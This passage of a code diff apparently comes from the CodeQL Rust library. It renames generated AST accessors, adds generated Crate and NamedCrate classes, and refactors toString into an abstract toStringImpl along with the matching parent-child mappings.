+++ b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll
@@ -20,17 +20,32 @@ module Impl {
    * ```
    */
   class Variant extends Generated::Variant {
-    override string toString() { result = this.getName().getText() }
+    override string toStringImpl() { result = this.getName().getText() }
 
     /** Gets the record field named `name`, if any. */
     pragma[nomagic]
-    RecordField getRecordField(string name) {
-      result = this.getFieldList().(RecordFieldList).getAField() and
+    StructField getStructField(string name) {
+      result = this.getFieldList().(StructFieldList).getAField() and
       result.getName().getText() = name
     }
 
     /** Gets the `i`th tuple field, if any. */
     pragma[nomagic]
     TupleField getTupleField(int i) { result = this.getFieldList().(TupleFieldList).getField(i) }
+
+    /** Holds if this variant uses tuple fields. */
+    pragma[nomagic]
+    predicate isTuple() { this.getFieldList() instanceof TupleFieldList }
+
+    /**
+     * Holds if this variant uses struct fields.
+     *
+     * Empty variants are considered to use struct fields.
+     */
+    pragma[nomagic]
+    predicate isStruct() { not this.isTuple() }
+
+    /** Gets the enum that this variant belongs to. */
+    Enum getEnum() { this = result.getVariantList().getAVariant() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/WildcardPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WildcardPatImpl.qll
index f1a8fa1a72ee..30341bf8496a 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/WildcardPatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/WildcardPatImpl.qll
@@ -19,7 +19,7 @@ module Impl {
    * ```
    */
   class WildcardPat extends Generated::WildcardPat {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() { result = "_" }
   }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll
index 2d02e28375fe..e7ac536d4897 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll
@@ -22,18 +22,18 @@ module Generated {
     override string getAPrimaryQlClass() { result = "AsmRegSpec" }
 
     /**
-     * Gets the name reference of this asm reg spec, if it exists.
+     * Gets the identifier of this asm reg spec, if it exists.
      */
-    NameRef getNameRef() {
+    NameRef getIdentifier() {
       result =
         Synth::convertNameRefFromRaw(Synth::convertAsmRegSpecToRaw(this)
               .(Raw::AsmRegSpec)
-              .getNameRef())
+              .getIdentifier())
     }
 
     /**
-     * Holds if `getNameRef()` exists.
+     * Holds if `getIdentifier()` exists.
      */
-    final predicate hasNameRef() { exists(this.getNameRef()) }
+    final predicate hasIdentifier() { exists(this.getIdentifier()) }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll
index fff85bc88af5..66f6637e685b 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll
@@ -63,19 +63,19 @@ module Generated {
     final predicate hasGenericArgList() { exists(this.getGenericArgList()) }
 
     /**
-     * Gets the name reference of this assoc type argument, if it exists.
+     * Gets the identifier of this assoc type argument, if it exists.
      */
-    NameRef getNameRef() {
+    NameRef getIdentifier() {
       result =
         Synth::convertNameRefFromRaw(Synth::convertAssocTypeArgToRaw(this)
               .(Raw::AssocTypeArg)
-              .getNameRef())
+              .getIdentifier())
     }
 
     /**
-     * Holds if `getNameRef()` exists.
+     * Holds if `getIdentifier()` exists.
      */
-    final predicate hasNameRef() { exists(this.getNameRef()) }
+    final predicate hasIdentifier() { exists(this.getIdentifier()) }
 
     /**
      * Gets the parameter list of this assoc type argument, if it exists.
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Crate.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Crate.qll
new file mode 100644
index 000000000000..f3eac4f7766f
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Crate.qll
@@ -0,0 +1,100 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the generated definition of `Crate`.
+ * INTERNAL: Do not import directly.
+ */
+
+private import codeql.rust.elements.internal.generated.Synth
+private import codeql.rust.elements.internal.generated.Raw
+import codeql.rust.elements.internal.LocatableImpl::Impl as LocatableImpl
+import codeql.rust.elements.Module
+import codeql.rust.elements.internal.NamedCrate
+
+/**
+ * INTERNAL: This module contains the fully generated definition of `Crate` and should not
+ * be referenced directly.
+ */
+module Generated {
+  /**
+   * INTERNAL: Do not reference the `Generated::Crate` class directly.
+   * Use the subclass `Crate`, where the following predicates are available.
+   */
+  class Crate extends Synth::TCrate, LocatableImpl::Locatable {
+    override string getAPrimaryQlClass() { result = "Crate" }
+
+    /**
+     * Gets the name of this crate, if it exists.
+     */
+    string getName() { result = Synth::convertCrateToRaw(this).(Raw::Crate).getName() }
+
+    /**
+     * Holds if `getName()` exists.
+     */
+    final predicate hasName() { exists(this.getName()) }
+
+    /**
+     * Gets the version of this crate, if it exists.
+     */
+    string getVersion() { result = Synth::convertCrateToRaw(this).(Raw::Crate).getVersion() }
+
+    /**
+     * Holds if `getVersion()` exists.
+     */
+    final predicate hasVersion() { exists(this.getVersion()) }
+
+    /**
+     * Gets the module of this crate, if it exists.
+     */
+    Module getModule() {
+      result = Synth::convertModuleFromRaw(Synth::convertCrateToRaw(this).(Raw::Crate).getModule())
+    }
+
+    /**
+     * Holds if `getModule()` exists.
+     */
+    final predicate hasModule() { exists(this.getModule()) }
+
+    /**
+     * Gets the `index`th cfg option of this crate (0-based).
+     */
+    string getCfgOption(int index) {
+      result = Synth::convertCrateToRaw(this).(Raw::Crate).getCfgOption(index)
+    }
+
+    /**
+     * Gets any of the cfg options of this crate.
+     */
+    final string getACfgOption() { result = this.getCfgOption(_) }
+
+    /**
+     * Gets the number of cfg options of this crate.
+     */
+    final int getNumberOfCfgOptions() { result = count(int i | exists(this.getCfgOption(i))) }
+
+    /**
+     * Gets the `index`th named dependency of this crate (0-based).
+     *
+     * INTERNAL: Do not use.
+     */
+    NamedCrate getNamedDependency(int index) {
+      result =
+        Synth::convertNamedCrateFromRaw(Synth::convertCrateToRaw(this)
+              .(Raw::Crate)
+              .getNamedDependency(index))
+    }
+
+    /**
+     * Gets any of the named dependencies of this crate.
+     * INTERNAL: Do not use.
+     */
+    final NamedCrate getANamedDependency() { result = this.getNamedDependency(_) }
+
+    /**
+     * Gets the number of named dependencies of this crate.
+     * INTERNAL: Do not use.
+     */
+    final int getNumberOfNamedDependencies() {
+      result = count(int i | exists(this.getNamedDependency(i)))
+    }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Element.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Element.qll
index 1733d21c6122..f8a5f4b24b21 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/Element.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Element.qll
@@ -23,7 +23,15 @@ module Generated {
     /**
      * Gets the string representation of this element.
      */
-    string toString() { none() } // overridden by subclasses
+    cached
+    final string toString() { result = this.toStringImpl() }
+
+    /**
+     * INTERNAL: Do not use.
+     *
+     * Gets the string representation of this element.
+     */
+    abstract string toStringImpl();
 
     /**
      * Gets the name of a primary CodeQL class to which this element belongs.
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll
index b3518993cf39..f32f50b89d13 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll
@@ -49,19 +49,19 @@ module Generated {
     final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
 
     /**
-     * Gets the name reference of this extern crate, if it exists.
+     * Gets the identifier of this extern crate, if it exists.
      */
-    NameRef getNameRef() {
+    NameRef getIdentifier() {
       result =
         Synth::convertNameRefFromRaw(Synth::convertExternCrateToRaw(this)
               .(Raw::ExternCrate)
-              .getNameRef())
+              .getIdentifier())
     }
 
     /**
-     * Holds if `getNameRef()` exists.
+     * Holds if `getIdentifier()` exists.
      */
-    final predicate hasNameRef() { exists(this.getNameRef()) }
+    final predicate hasIdentifier() { exists(this.getIdentifier()) }
 
     /**
      * Gets the rename of this extern crate, if it exists.
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldExpr.qll
index 909af4a3b045..acb19cd2a52e 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldExpr.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldExpr.qll
@@ -46,31 +46,31 @@ module Generated {
     final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
 
     /**
-     * Gets the expression of this field expression, if it exists.
+     * Gets the container of this field expression, if it exists.
      */
-    Expr getExpr() {
+    Expr getContainer() {
       result =
-        Synth::convertExprFromRaw(Synth::convertFieldExprToRaw(this).(Raw::FieldExpr).getExpr())
+        Synth::convertExprFromRaw(Synth::convertFieldExprToRaw(this).(Raw::FieldExpr).getContainer())
     }
 
     /**
-     * Holds if `getExpr()` exists.
+     * Holds if `getContainer()` exists.
      */
-    final predicate hasExpr() { exists(this.getExpr()) }
+    final predicate hasContainer() { exists(this.getContainer()) }
 
     /**
-     * Gets the name reference of this field expression, if it exists.
+     * Gets the identifier of this field expression, if it exists.
      */
-    NameRef getNameRef() {
+    NameRef getIdentifier() {
       result =
         Synth::convertNameRefFromRaw(Synth::convertFieldExprToRaw(this)
               .(Raw::FieldExpr)
-              .getNameRef())
+              .getIdentifier())
     }
 
     /**
-     * Holds if `getNameRef()` exists.
+     * Holds if `getIdentifier()` exists.
      */
-    final predicate hasNameRef() { exists(this.getNameRef()) }
+    final predicate hasIdentifier() { exists(this.getIdentifier()) }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll
index 3c386c8d957a..8e8570c3eebb 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll
@@ -14,7 +14,7 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
  */
 module Generated {
   /**
-   * A FieldList. For example:
+   * A field of a variant. For example:
    * ```rust
    * todo!()
    * ```
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParamList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParamList.qll
index 3d726fa85bc7..574bcb5f6f3a 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParamList.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParamList.qll
@@ -15,9 +15,12 @@ import codeql.rust.elements.GenericParam
  */
 module Generated {
   /**
-   * A GenericParamList. For example:
+   * A list of generic parameters. For example:
    * ```rust
-   * todo!()
+   * fn f<A, B>(a: A, b: B) {}
+   * //  ^^^^^^
+   * type Foo<T1, T2> = (T1, T2);
+   * //      ^^^^^^^^
    * ```
    * INTERNAL: Do not reference the `Generated::GenericParamList` class directly.
    * Use the subclass `GenericParamList`, where the following predicates are available.
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MethodCallExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MethodCallExpr.qll
index dc1b32bea6c8..116488ae6ef1 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/MethodCallExpr.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MethodCallExpr.qll
@@ -47,19 +47,19 @@ module Generated {
     final predicate hasGenericArgList() { exists(this.getGenericArgList()) }
 
     /**
-     * Gets the name reference of this method call expression, if it exists.
+     * Gets the identifier of this method call expression, if it exists.
      */
-    NameRef getNameRef() {
+    NameRef getIdentifier() {
       result =
         Synth::convertNameRefFromRaw(Synth::convertMethodCallExprToRaw(this)
               .(Raw::MethodCallExpr)
-              .getNameRef())
+              .getIdentifier())
     }
 
     /**
-     * Holds if `getNameRef()` exists.
+     * Holds if `getIdentifier()` exists.
      */
-    final predicate hasNameRef() { exists(this.getNameRef()) }
+    final predicate hasIdentifier() { exists(this.getIdentifier()) }
 
     /**
      * Gets the receiver of this method call expression, if it exists.
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/NamedCrate.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/NamedCrate.qll
new file mode 100644
index 000000000000..8068f52970eb
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/NamedCrate.qll
@@ -0,0 +1,37 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the generated definition of `NamedCrate`.
+ * INTERNAL: Do not import directly.
+ */
+
+private import codeql.rust.elements.internal.generated.Synth
+private import codeql.rust.elements.internal.generated.Raw
+import codeql.rust.elements.Crate
+import codeql.rust.elements.internal.ElementImpl::Impl as ElementImpl
+
+/**
+ * INTERNAL: This module contains the fully generated definition of `NamedCrate` and should not
+ * be referenced directly.
+ */
+module Generated {
+  /**
+   * INTERNAL: Do not reference the `Generated::NamedCrate` class directly.
+   * Use the subclass `NamedCrate`, where the following predicates are available.
+   */
+  class NamedCrate extends Synth::TNamedCrate, ElementImpl::Element {
+    override string getAPrimaryQlClass() { result = "NamedCrate" }
+
+    /**
+     * Gets the name of this named crate.
+     */
+    string getName() { result = Synth::convertNamedCrateToRaw(this).(Raw::NamedCrate).getName() }
+
+    /**
+     * Gets the crate of this named crate.
+     */
+    Crate getCrate() {
+      result =
+        Synth::convertCrateFromRaw(Synth::convertNamedCrateToRaw(this).(Raw::NamedCrate).getCrate())
+    }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll
index 54301cd04ceb..4268ef3f8409 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll
@@ -6,6 +6,7 @@
 import codeql.rust.elements
 import codeql.rust.elements.internal.ArrayExprInternal
 import codeql.rust.elements.internal.ExtractorStep
+import codeql.rust.elements.internal.NamedCrate
 
 private module Impl {
   private Element getImmediateChildOfElement(Element e, int index, string partialPredicateCall) {
@@ -40,6 +41,19 @@ private module Impl {
     )
   }
 
+  private Element getImmediateChildOfNamedCrate(NamedCrate e, int index, string partialPredicateCall) {
+    exists(int b, int bElement, int n |
+      b = 0 and
+      bElement = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfElement(e, i, _)) | i) and
+      n = bElement and
+      (
+        none()
+        or
+        result = getImmediateChildOfElement(e, index - b, partialPredicateCall)
+      )
+    )
+  }
+
   private Element getImmediateChildOfUnextracted(
     Unextracted e, int index, string partialPredicateCall
   ) {
@@ -68,6 +82,19 @@ private module Impl {
     )
   }
 
+  private Element getImmediateChildOfCrate(Crate e, int index, string partialPredicateCall) {
+    exists(int b, int bLocatable, int n |
+      b = 0 and
+      bLocatable = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfLocatable(e, i, _)) | i) and
+      n = bLocatable and
+      (
+        none()
+        or
+        result = getImmediateChildOfLocatable(e, index - b, partialPredicateCall)
+      )
+    )
+  }
+
   private Element getImmediateChildOfFormat(Format e, int index, string partialPredicateCall) {
     exists(
       int b, int bLocatable, int n, int nArgumentRef, int nWidthArgument, int nPrecisionArgument
@@ -263,17 +290,17 @@ private module Impl {
   }
 
   private Element getImmediateChildOfAsmRegSpec(AsmRegSpec e, int index, string partialPredicateCall) {
-    exists(int b, int bAstNode, int n, int nNameRef |
+    exists(int b, int bAstNode, int n, int nIdentifier |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
-      nNameRef = n + 1 and
+      nIdentifier = n + 1 and
       (
         none()
         or
         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
         or
-        index = n and result = e.getNameRef() and partialPredicateCall = "NameRef()"
+        index = n and result = e.getIdentifier() and partialPredicateCall = "Identifier()"
       )
     )
   }
@@ -782,12 +809,12 @@ private module Impl {
   }
 
   private Element getImmediateChildOfPath(Path e, int index, string partialPredicateCall) {
-    exists(int b, int bAstNode, int n, int nQualifier, int nPart |
+    exists(int b, int bAstNode, int n, int nQualifier, int nSegment |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
       nQualifier = n + 1 and
-      nPart = nQualifier + 1 and
+      nSegment = nQualifier + 1 and
       (
         none()
         or
@@ -795,7 +822,7 @@ private module Impl {
         or
         index = n and result = e.getQualifier() and partialPredicateCall = "Qualifier()"
         or
-        index = nQualifier and result = e.getPart() and partialPredicateCall = "Part()"
+        index = nQualifier and result = e.getSegment() and partialPredicateCall = "Segment()"
       )
     )
   }
@@ -804,15 +831,15 @@ private module Impl {
     PathSegment e, int index, string partialPredicateCall
   ) {
     exists(
-      int b, int bAstNode, int n, int nGenericArgList, int nNameRef, int nParenthesizedArgList,
+      int b, int bAstNode, int n, int nGenericArgList, int nIdentifier, int nParenthesizedArgList,
       int nRetType, int nReturnTypeSyntax, int nTypeRepr, int nTraitTypeRepr
     |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
       nGenericArgList = n + 1 and
-      nNameRef = nGenericArgList + 1 and
-      nParenthesizedArgList = nNameRef + 1 and
+      nIdentifier = nGenericArgList + 1 and
+      nParenthesizedArgList = nIdentifier + 1 and
       nRetType = nParenthesizedArgList + 1 and
       nReturnTypeSyntax = nRetType + 1 and
       nTypeRepr = nReturnTypeSyntax + 1 and
@@ -824,9 +851,11 @@ private module Impl {
         or
         index = n and result = e.getGenericArgList() and partialPredicateCall = "GenericArgList()"
         or
-        index = nGenericArgList and result = e.getNameRef() and partialPredicateCall = "NameRef()"
+        index = nGenericArgList and
+        result = e.getIdentifier() and
+        partialPredicateCall = "Identifier()"
         or
-        index = nNameRef and
+        index = nIdentifier and
         result = e.getParenthesizedArgList() and
         partialPredicateCall = "ParenthesizedArgList()"
         or
@@ -849,201 +878,191 @@ private module Impl {
     )
   }
 
-  private Element getImmediateChildOfRecordExprField(
-    RecordExprField e, int index, string partialPredicateCall
-  ) {
-    exists(int b, int bAstNode, int n, int nAttr, int nExpr, int nNameRef |
+  private Element getImmediateChildOfRename(Rename e, int index, string partialPredicateCall) {
+    exists(int b, int bAstNode, int n, int nName |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
-      nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
-      nExpr = nAttr + 1 and
-      nNameRef = nExpr + 1 and
+      nName = n + 1 and
       (
         none()
         or
         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
         or
-        result = e.getAttr(index - n) and
-        partialPredicateCall = "Attr(" + (index - n).toString() + ")"
-        or
-        index = nAttr and result = e.getExpr() and partialPredicateCall = "Expr()"
-        or
-        index = nExpr and result = e.getNameRef() and partialPredicateCall = "NameRef()"
+        index = n and result = e.getName() and partialPredicateCall = "Name()"
       )
     )
   }
 
-  private Element getImmediateChildOfRecordExprFieldList(
-    RecordExprFieldList e, int index, string partialPredicateCall
-  ) {
-    exists(int b, int bAstNode, int n, int nAttr, int nField, int nSpread |
+  private Element getImmediateChildOfResolvable(Resolvable e, int index, string partialPredicateCall) {
+    exists(int b, int bAstNode, int n |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
-      nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
-      nField = nAttr + 1 + max(int i | i = -1 or exists(e.getField(i)) | i) and
-      nSpread = nField + 1 and
       (
         none()
         or
         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
-        or
-        result = e.getAttr(index - n) and
-        partialPredicateCall = "Attr(" + (index - n).toString() + ")"
-        or
-        result = e.getField(index - nAttr) and
-        partialPredicateCall = "Field(" + (index - nAttr).toString() + ")"
-        or
-        index = nField and result = e.getSpread() and partialPredicateCall = "Spread()"
       )
     )
   }
 
-  private Element getImmediateChildOfRecordField(
-    RecordField e, int index, string partialPredicateCall
+  private Element getImmediateChildOfRetTypeRepr(
+    RetTypeRepr e, int index, string partialPredicateCall
   ) {
-    exists(int b, int bAstNode, int n, int nAttr, int nName, int nTypeRepr, int nVisibility |
+    exists(int b, int bAstNode, int n, int nTypeRepr |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
-      nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
-      nName = nAttr + 1 and
-      nTypeRepr = nName + 1 and
-      nVisibility = nTypeRepr + 1 and
+      nTypeRepr = n + 1 and
       (
         none()
         or
         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
         or
-        result = e.getAttr(index - n) and
-        partialPredicateCall = "Attr(" + (index - n).toString() + ")"
-        or
-        index = nAttr and result = e.getName() and partialPredicateCall = "Name()"
-        or
-        index = nName and result = e.getTypeRepr() and partialPredicateCall = "TypeRepr()"
-        or
-        index = nTypeRepr and result = e.getVisibility() and partialPredicateCall = "Visibility()"
+        index = n and result = e.getTypeRepr() and partialPredicateCall = "TypeRepr()"
       )
     )
   }
 
-  private Element getImmediateChildOfRecordPatField(
-    RecordPatField e, int index, string partialPredicateCall
+  private Element getImmediateChildOfReturnTypeSyntax(
+    ReturnTypeSyntax e, int index, string partialPredicateCall
   ) {
-    exists(int b, int bAstNode, int n, int nAttr, int nNameRef, int nPat |
+    exists(int b, int bAstNode, int n |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
-      nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
-      nNameRef = nAttr + 1 and
-      nPat = nNameRef + 1 and
       (
         none()
         or
         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
-        or
-        result = e.getAttr(index - n) and
-        partialPredicateCall = "Attr(" + (index - n).toString() + ")"
-        or
-        index = nAttr and result = e.getNameRef() and partialPredicateCall = "NameRef()"
-        or
-        index = nNameRef and result = e.getPat() and partialPredicateCall = "Pat()"
       )
     )
   }
 
-  private Element getImmediateChildOfRecordPatFieldList(
-    RecordPatFieldList e, int index, string partialPredicateCall
-  ) {
-    exists(int b, int bAstNode, int n, int nField, int nRestPat |
+  private Element getImmediateChildOfSourceFile(SourceFile e, int index, string partialPredicateCall) {
+    exists(int b, int bAstNode, int n, int nAttr, int nItem |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
-      nField = n + 1 + max(int i | i = -1 or exists(e.getField(i)) | i) and
-      nRestPat = nField + 1 and
+      nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
+      nItem = nAttr + 1 + max(int i | i = -1 or exists(e.getItem(i)) | i) and
       (
         none()
         or
         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
         or
-        result = e.getField(index - n) and
-        partialPredicateCall = "Field(" + (index - n).toString() + ")"
+        result = e.getAttr(index - n) and
+        partialPredicateCall = "Attr(" + (index - n).toString() + ")"
         or
-        index = nField and result = e.getRestPat() and partialPredicateCall = "RestPat()"
+        result = e.getItem(index - nAttr) and
+        partialPredicateCall = "Item(" + (index - nAttr).toString() + ")"
       )
     )
   }
 
-  private Element getImmediateChildOfRename(Rename e, int index, string partialPredicateCall) {
-    exists(int b, int bAstNode, int n, int nName |
+  private Element getImmediateChildOfStmt(Stmt e, int index, string partialPredicateCall) {
+    exists(int b, int bAstNode, int n |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
-      nName = n + 1 and
       (
         none()
         or
         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
-        or
-        index = n and result = e.getName() and partialPredicateCall = "Name()"
       )
     )
   }
 
-  private Element getImmediateChildOfResolvable(Resolvable e, int index, string partialPredicateCall) {
-    exists(int b, int bAstNode, int n |
+  private Element getImmediateChildOfStmtList(StmtList e, int index, string partialPredicateCall) {
+    exists(int b, int bAstNode, int n, int nAttr, int nStatement, int nTailExpr |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
+      nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
+      nStatement = nAttr + 1 + max(int i | i = -1 or exists(e.getStatement(i)) | i) and
+      nTailExpr = nStatement + 1 and
       (
         none()
         or
         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
+        or
+        result = e.getAttr(index - n) and
+        partialPredicateCall = "Attr(" + (index - n).toString() + ")"
+        or
+        result = e.getStatement(index - nAttr) and
+        partialPredicateCall = "Statement(" + (index - nAttr).toString() + ")"
+        or
+        index = nStatement and result = e.getTailExpr() and partialPredicateCall = "TailExpr()"
       )
     )
   }
 
-  private Element getImmediateChildOfRetTypeRepr(
-    RetTypeRepr e, int index, string partialPredicateCall
+  private Element getImmediateChildOfStructExprField(
+    StructExprField e, int index, string partialPredicateCall
   ) {
-    exists(int b, int bAstNode, int n, int nTypeRepr |
+    exists(int b, int bAstNode, int n, int nAttr, int nExpr, int nIdentifier |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
-      nTypeRepr = n + 1 and
+      nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
+      nExpr = nAttr + 1 and
+      nIdentifier = nExpr + 1 and
       (
         none()
         or
         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
         or
-        index = n and result = e.getTypeRepr() and partialPredicateCall = "TypeRepr()"
+        result = e.getAttr(index - n) and
+        partialPredicateCall = "Attr(" + (index - n).toString() + ")"
+        or
+        index = nAttr and result = e.getExpr() and partialPredicateCall = "Expr()"
+        or
+        index = nExpr and result = e.getIdentifier() and partialPredicateCall = "Identifier()"
       )
     )
   }
 
-  private Element getImmediateChildOfReturnTypeSyntax(
-    ReturnTypeSyntax e, int index, string partialPredicateCall
+  private Element getImmediateChildOfStructExprFieldList(
+    StructExprFieldList e, int index, string partialPredicateCall
   ) {
-    exists(int b, int bAstNode, int n |
+    exists(int b, int bAstNode, int n, int nAttr, int nField, int nSpread |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
+      nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
+      nField = nAttr + 1 + max(int i | i = -1 or exists(e.getField(i)) | i) and
+      nSpread = nField + 1 and
       (
         none()
         or
         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
+        or
+        result = e.getAttr(index - n) and
+        partialPredicateCall = "Attr(" + (index - n).toString() + ")"
+        or
+        result = e.getField(index - nAttr) and
+        partialPredicateCall = "Field(" + (index - nAttr).toString() + ")"
+        or
+        index = nField and result = e.getSpread() and partialPredicateCall = "Spread()"
       )
     )
   }
 
-  private Element getImmediateChildOfSourceFile(SourceFile e, int index, string partialPredicateCall) {
-    exists(int b, int bAstNode, int n, int nAttr, int nItem |
+  private Element getImmediateChildOfStructField(
+    StructField e, int index, string partialPredicateCall
+  ) {
+    exists(
+      int b, int bAstNode, int n, int nAttr, int nDefault, int nName, int nTypeRepr, int nVisibility
+    |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
       nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
-      nItem = nAttr + 1 + max(int i | i = -1 or exists(e.getItem(i)) | i) and
+      nDefault = nAttr + 1 and
+      nName = nDefault + 1 and
+      nTypeRepr = nName + 1 and
+      nVisibility = nTypeRepr + 1 and
       (
         none()
         or
@@ -1052,45 +1071,60 @@ private module Impl {
         result = e.getAttr(index - n) and
         partialPredicateCall = "Attr(" + (index - n).toString() + ")"
         or
-        result = e.getItem(index - nAttr) and
-        partialPredicateCall = "Item(" + (index - nAttr).toString() + ")"
+        index = nAttr and result = e.getDefault() and partialPredicateCall = "Default()"
+        or
+        index = nDefault and result = e.getName() and partialPredicateCall = "Name()"
+        or
+        index = nName and result = e.getTypeRepr() and partialPredicateCall = "TypeRepr()"
+        or
+        index = nTypeRepr and result = e.getVisibility() and partialPredicateCall = "Visibility()"
       )
     )
   }
 
-  private Element getImmediateChildOfStmt(Stmt e, int index, string partialPredicateCall) {
-    exists(int b, int bAstNode, int n |
+  private Element getImmediateChildOfStructPatField(
+    StructPatField e, int index, string partialPredicateCall
+  ) {
+    exists(int b, int bAstNode, int n, int nAttr, int nIdentifier, int nPat |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
+      nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
+      nIdentifier = nAttr + 1 and
+      nPat = nIdentifier + 1 and
       (
         none()
         or
